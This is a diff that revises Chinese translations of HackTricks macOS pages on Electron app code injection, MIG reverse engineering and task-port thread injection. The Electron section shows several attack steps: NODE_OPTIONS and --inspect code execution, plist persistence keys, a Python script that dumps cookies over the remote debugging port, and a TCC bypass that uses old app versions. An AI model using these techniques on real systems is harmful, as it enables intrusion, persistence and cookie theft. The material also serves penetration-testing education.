<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
@ -128,9 +132,9 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||||
</dict>
|
</dict>
|
||||||
</plist>
|
</plist>
|
||||||
```
|
```
|
||||||
## 使用 `NODE_OPTIONS` 进行远程代码执行(RCE)
|
## 利用 `NODE_OPTIONS` 进行远程代码执行(RCE)
|
||||||
|
|
||||||
您可以将恶意代码存储在不同的文件中并执行它:
|
您可以将有效载荷存储在一个不同的文件中并执行它:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -143,14 +147,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
如果禁用了fuse **`EnableNodeOptionsEnvironmentVariable`**,应用程序在启动时将**忽略**环境变量**NODE\_OPTIONS**,除非设置了环境变量**`ELECTRON_RUN_AS_NODE`**,如果禁用了fuse **`RunAsNode`**,则该环境变量也将被**忽略**。
|
如果 fuse **`EnableNodeOptionsEnvironmentVariable`** 被**禁用**,除非设置了环境变量 **`ELECTRON_RUN_AS_NODE`**,否则应用在启动时会**忽略**环境变量 **NODE\_OPTIONS**。如果 fuse **`RunAsNode`** 被禁用,即使设置了 **`ELECTRON_RUN_AS_NODE`** 也会被**忽略**。
|
||||||
|
|
||||||
如果不设置**`ELECTRON_RUN_AS_NODE`**,你将会遇到以下**错误**:`Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
如果你没有设置 **`ELECTRON_RUN_AS_NODE`**,你会遇到**错误**:`Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 从App Plist中注入
|
### 通过应用 Plist 的注入
|
||||||
|
|
||||||
你可以滥用这个环境变量在plist中添加这些键来维持持久性:
|
你可以在 plist 中滥用这个环境变量,通过添加这些键来维持持久性:
|
||||||
```xml
|
```xml
|
||||||
<dict>
|
<dict>
|
||||||
<key>EnvironmentVariables</key>
|
<key>EnvironmentVariables</key>
|
||||||
|
@ -166,9 +170,10 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
||||||
<true/>
|
<true/>
|
||||||
</dict>
|
</dict>
|
||||||
```
|
```
|
||||||
## 使用检查进行远程代码执行(RCE)
|
## RCE 通过检查
|
||||||
|
|
||||||
根据[**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),如果你使用诸如**`--inspect`**、**`--inspect-brk`**和**`--remote-debugging-port`**等标志来执行Electron应用程序,将会打开一个**调试端口**,你可以连接到它(例如从Chrome的`chrome://inspect`页面),然后你就可以在其中**注入代码**甚至启动新的进程。例如:
|
根据[**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),如果你使用如 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 这样的标志执行一个Electron应用程序,一个**调试端口将会开放**,你可以连接到它(例如通过Chrome在 `chrome://inspect` 中),并且你将能够**在其上注入代码**或甚至启动新的进程。\
|
||||||
|
例如:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -179,14 +184,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
如果禁用了fuse**`EnableNodeCliInspectArguments`**,应用程序在启动时将**忽略节点参数**(如`--inspect`),除非设置了环境变量**`ELECTRON_RUN_AS_NODE`**,但如果禁用了fuse**`RunAsNode`**,该环境变量也将被**忽略**。
|
如果 fuse **`EnableNodeCliInspectArguments`** 被禁用,应用程序将在启动时**忽略 node 参数**(例如 `--inspect`),除非设置了环境变量 **`ELECTRON_RUN_AS_NODE`**,如果 fuse **`RunAsNode`** 被禁用,该环境变量也将被**忽略**。
|
||||||
|
|
||||||
但是,您仍然可以使用**electron参数`--remote-debugging-port=9229`**,但之前的有效载荷将无法执行其他进程。
|
然而,你仍然可以使用 **electron 参数 `--remote-debugging-port=9229`**,但之前的有效载荷将无法用来执行其他进程。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
使用参数**`--remote-debugging-port=9222`**,可以从Electron应用程序中窃取一些信息,例如浏览器的**历史记录**(使用GET命令)或**cookies**(因为它们在浏览器内部被**解密**,并且有一个**json端点**可以提供它们)。
|
使用参数 **`--remote-debugging-port=9222`** 可以从 Electron 应用程序中窃取一些信息,如**历史记录**(通过 GET 命令)或浏览器的**cookies**(因为它们在浏览器内部被**解密**,并且有一个**json 端点**会提供它们)。
|
||||||
|
|
||||||
您可以在[**这里**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)和[**这里**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)了解如何做到这一点,并使用自动工具[WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)或类似的简单脚本:
|
你可以在[**这里**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)和[**这里**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)学习如何做到这一点,并使用自动工具 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 或一个简单的脚本,如:
|
||||||
```python
|
```python
|
||||||
import websocket
|
import websocket
|
||||||
ws = websocket.WebSocket()
|
ws = websocket.WebSocket()
|
||||||
|
@ -194,11 +199,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
|
||||||
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
|
||||||
print(ws.recv()
|
print(ws.recv()
|
||||||
```
|
```
|
||||||
在[**这篇博文**](https://hackerone.com/reports/1274695)中,利用这个调试功能可以使无头Chrome在任意位置下载任意文件。
|
在[**这篇博客文章**](https://hackerone.com/reports/1274695)中,这种调试被滥用来让无头Chrome **在任意位置下载任意文件**。
|
||||||
|
|
||||||
### 从App Plist注入
|
### 从应用Plist中注入
|
||||||
|
|
||||||
您可以在plist文件中滥用这个环境变量以保持持久性,添加以下键:
|
你可以在plist中滥用这个环境变量,通过添加这些键来维持持久性:
|
||||||
```xml
|
```xml
|
||||||
<dict>
|
<dict>
|
||||||
<key>ProgramArguments</key>
|
<key>ProgramArguments</key>
|
||||||
|
@ -212,20 +217,20 @@ print(ws.recv()
|
||||||
<true/>
|
<true/>
|
||||||
</dict>
|
</dict>
|
||||||
```
|
```
|
||||||
## TCC绕过滥用旧版本
|
## 利用旧版本绕过 TCC
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
macOS的TCC守护程序不会检查应用程序的执行版本。因此,如果您无法使用先前的任何技术在Electron应用程序中注入代码,您可以下载先前的应用程序版本并在其中注入代码,因为它仍然会获得TCC权限(除非信任缓存阻止)。
|
macOS 的 TCC 守护进程不会检查应用程序执行的版本。因此,如果您**无法使用前述技术在 Electron 应用程序中注入代码**,您可以下载该应用的旧版本并在其上注入代码,因为它仍将获得 TCC 权限(除非 Trust Cache 阻止了这一点)。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## 运行非JS代码
|
## 运行非 JS 代码
|
||||||
|
|
||||||
先前的技术将允许您在Electron应用程序的进程中运行JS代码。但是,请记住,子进程在相同的沙盒配置文件下运行,并继承其TCC权限。\
|
前述技术将允许您在 Electron 应用程序的进程中运行**JS 代码**。然而,请记住,**子进程将在与父应用程序相同的沙箱配置文件下运行**并**继承它们的 TCC 权限**。\
|
||||||
因此,如果您想滥用授权以访问摄像头或麦克风,您可以从进程中运行另一个二进制文件。
|
因此,如果您想滥用权限来访问相机或麦克风,例如,您可以简单地**从进程中运行另一个二进制文件**。
|
||||||
|
|
||||||
## 自动注入
|
## 自动注入
|
||||||
|
|
||||||
工具[**electroniz3r**](https://github.com/r3ggi/electroniz3r)可以轻松用于查找已安装的易受攻击的Electron应用程序并在其中注入代码。此工具将尝试使用`--inspect`技术:
|
工具 [**electroniz3r**](https://github.com/r3ggi/electroniz3r) 可以轻松用于**查找已安装的易受攻击 Electron 应用程序**并在它们上面注入代码。此工具将尝试使用 **`--inspect`** 技术:
|
||||||
|
|
||||||
您需要自己编译它,并可以像这样使用它:
|
您需要自己编译它,并可以像这样使用它:
|
||||||
```bash
|
```bash
|
||||||
|
@ -271,12 +276,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直至成为高手!</strong></summary>
|
||||||
|
|
||||||
* 你在一个**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持HackTricks的其他方式:
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,17 +2,19 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?你想在**HackTricks 中看到你的公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过提交 PR 到** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享你的黑客技巧。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
MIG 被创建来**简化 Mach IPC 代码创建过程**。它基本上**生成所需的代码**,以便服务器和客户端可以根据给定的定义进行通信。即使生成的代码不好看,开发者只需要导入它,他的代码就会比以前简单得多。
|
MIG 被创建用于**简化 Mach IPC 代码创建过程**。它基本上**生成了服务器和客户端通信所需的代码**,根据给定的定义。即使生成的代码很丑陋,开发者只需要导入它,他的代码将比之前简单得多。
|
||||||
|
|
||||||
### 示例
|
### 示例
|
||||||
|
|
||||||
|
@ -33,15 +35,15 @@ server_port : mach_port_t;
|
||||||
n1 : uint32_t;
|
n1 : uint32_t;
|
||||||
n2 : uint32_t);
|
n2 : uint32_t);
|
||||||
```
|
```
|
||||||
```
|
```markdown
|
||||||
现在使用mig生成服务器和客户端代码,这些代码将能够相互通信以调用Subtract函数:
|
现在使用 mig 生成服务器和客户端代码,这些代码将能够相互通信以调用 Subtract 函数:
|
||||||
```
|
```
|
||||||
```bash
|
```bash
|
||||||
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
||||||
```
|
```
|
||||||
在当前目录中将创建几个新文件。
|
在当前目录中将创建多个新文件。
|
||||||
|
|
||||||
在文件 **`myipcServer.c`** 和 **`myipcServer.h`** 中,您可以找到结构 **`SERVERPREFmyipc_subsystem`** 的声明和定义,它基本上根据接收到的消息ID定义要调用的函数(我们指定了一个起始编号500):
|
在文件 **`myipcServer.c`** 和 **`myipcServer.h`** 中,您可以找到结构 **`SERVERPREFmyipc_subsystem`** 的声明和定义,该结构基本上根据接收到的消息 ID 定义要调用的函数(我们指定了一个起始编号为 500 的数字):
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="myipcServer.c" %}
|
{% tab title="myipcServer.c" %}
|
||||||
|
@ -204,14 +206,14 @@ USERPREFSubtract(port, 40, 2);
|
||||||
|
|
||||||
### 二进制分析
|
### 二进制分析
|
||||||
|
|
||||||
由于许多二进制文件现在使用MIG来暴露mach端口,了解如何**识别使用了MIG**以及MIG对每个消息ID**执行的函数**是很有趣的。
|
由于许多二进制文件现在使用MIG来暴露mach端口,了解如何**识别使用了MIG**以及MIG对每个消息ID执行的**函数**是很有趣的。
|
||||||
|
|
||||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以从Mach-O二进制文件中解析MIG信息,指示消息ID并识别要执行的函数:
|
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以从Mach-O二进制文件中解析MIG信息,指示消息ID并识别要执行的函数:
|
||||||
```bash
|
```bash
|
||||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||||
```
|
```
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="myipc_server decompiled 1" %}
|
{% tab title="myipc_server 反编译 1" %}
|
||||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||||
var_10 = arg0;
|
var_10 = arg0;
|
||||||
var_18 = arg1;
|
var_18 = arg1;
|
||||||
|
@ -225,12 +227,12 @@ var_18 = arg1;
|
||||||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||||
rax = *(int32_t *)(var_10 + 0x14);
|
rax = *(int32_t *)(var_10 + 0x14);
|
||||||
// 调用 sign_extend_64 可以帮助识别这个函数
|
// 调用 sign_extend_64 可以帮助识别这个函数
|
||||||
// 这将在 rax 中存储需要被调用的指针
|
// 这会在 rax 中存储需要被调用的指针
|
||||||
// 检查地址 0x100004040 的使用(函数地址数组)
|
// 检查地址 0x100004040 的使用情况(函数地址数组)
|
||||||
// 0x1f4 = 500(起始 ID)
|
// 0x1f4 = 500(起始 ID)
|
||||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||||
</strong> var_20 = rax;
|
</strong> var_20 = rax;
|
||||||
// If - else,if 返回 false,而 else 调用正确的函数并返回 true
|
// If - else 结构,if 返回 false,而 else 调用正确的函数并返回 true
|
||||||
<strong> if (rax == 0x0) {
|
<strong> if (rax == 0x0) {
|
||||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||||
|
@ -253,8 +255,8 @@ return rax;
|
||||||
</code></pre>
|
</code></pre>
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="myipc_server decompiled 2" %}
|
{% tab title="myipc_server 反编译 2" %}
|
||||||
这是在不同的 Hopper 免费版本中反编译的同一个函数:
|
这是在不同的 Hopper 免费版本中反编译的同一函数:
|
||||||
|
|
||||||
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
<pre class="language-c"><code class="lang-c">int _myipc_server(int arg0, int arg1) {
|
||||||
r31 = r31 - 0x40;
|
r31 = r31 - 0x40;
|
||||||
|
@ -297,8 +299,8 @@ if (CPU_FLAGS & NE) {
|
||||||
r8 = 0x1;
|
r8 = 0x1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
// 与前一个版本相同的 if else
|
// 与前一个版本相同的 if else 结构
|
||||||
// 检查地址 0x100004040 的使用(函数地址数组)
|
// 检查地址 0x100004040 的使用情况(函数地址数组)
|
||||||
<strong> if ((r8 & 0x1) == 0x0) {
|
<strong> if ((r8 & 0x1) == 0x0) {
|
||||||
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
</strong><strong> *(var_18 + 0x18) = **0x100004000;
|
||||||
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
|
||||||
|
@ -329,22 +331,24 @@ return r0;
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
实际上,如果你去函数 **`0x100004000`**,你会找到 **`routine_descriptor`** 结构体的数组。结构体的第一个元素是实现 **函数** 的 **地址**,并且 **结构体占用 0x28 字节**,所以每隔 0x28 字节(从字节 0 开始),你可以得到 8 字节,那将是将被调用的 **函数的地址**:
|
实际上,如果你去函数 **`0x100004000`**,你会找到 **`routine_descriptor`** 结构体的数组。结构体的第一个元素是实现 **函数** 的 **地址**,并且 **结构体占用 0x28 字节**,所以每隔 0x28 字节(从字节 0 开始)你可以得到 8 字节,那将是将被调用的 **函数的地址**:
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
这些数据可以通过[**使用这个 Hopper 脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取。
|
这些数据可以通过[**使用这个 Hopper 脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取。
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客攻击到高手</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告** 吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
|
||||||
|
* 如果你想在 **HackTricks** 中看到你的 **公司广告** 或 **下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* 通过向 [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来**分享你的黑客技巧**。
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,18 +1,20 @@
|
||||||
# macOS通过任务端口进行线程注入
|
# macOS 通过任务端口的线程注入
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
支持 HackTricks 的其他方式:
|
||||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
本文摘自[https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)(其中包含更多信息)
|
此帖子复制自 [https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/](https://bazad.github.io/2018/10/bypassing-platform-binary-task-threads/)(其中包含更多信息)
|
||||||
|
|
||||||
### 代码
|
### 代码
|
||||||
|
|
||||||
|
@ -21,32 +23,33 @@
|
||||||
|
|
||||||
### 1. 线程劫持
|
### 1. 线程劫持
|
||||||
|
|
||||||
首先,我们调用任务端口上的**`task_threads()`**来获取远程任务中的线程列表,然后选择其中一个线程进行劫持。与传统的代码注入框架不同,我们**无法创建一个新的远程线程**,因为`thread_create_running()`将被新的防护机制阻塞。
|
我们首先调用 **`task_threads()`** 在任务端口上获取远程任务中的线程列表,然后选择其中一个进行劫持。与传统的代码注入框架不同,我们**不能创建新的远程线程**,因为 `thread_create_running()` 将被新的缓解措施阻止。
|
||||||
|
|
||||||
然后,我们可以调用**`thread_suspend()`**来停止线程的运行。
|
然后,我们可以调用 **`thread_suspend()`** 停止线程运行。
|
||||||
|
|
||||||
此时,我们对远程线程的唯一有用的控制是**停止**它,**启动**它,**获取**它的**寄存器**值,并**设置**它的寄存器**值**。因此,我们可以通过将远程线程中的寄存器`x0`到`x7`设置为**参数**,将**`pc`**设置为要执行的函数,并启动线程来**发起远程函数**调用。此时,我们需要检测返回值并确保线程不会崩溃。
|
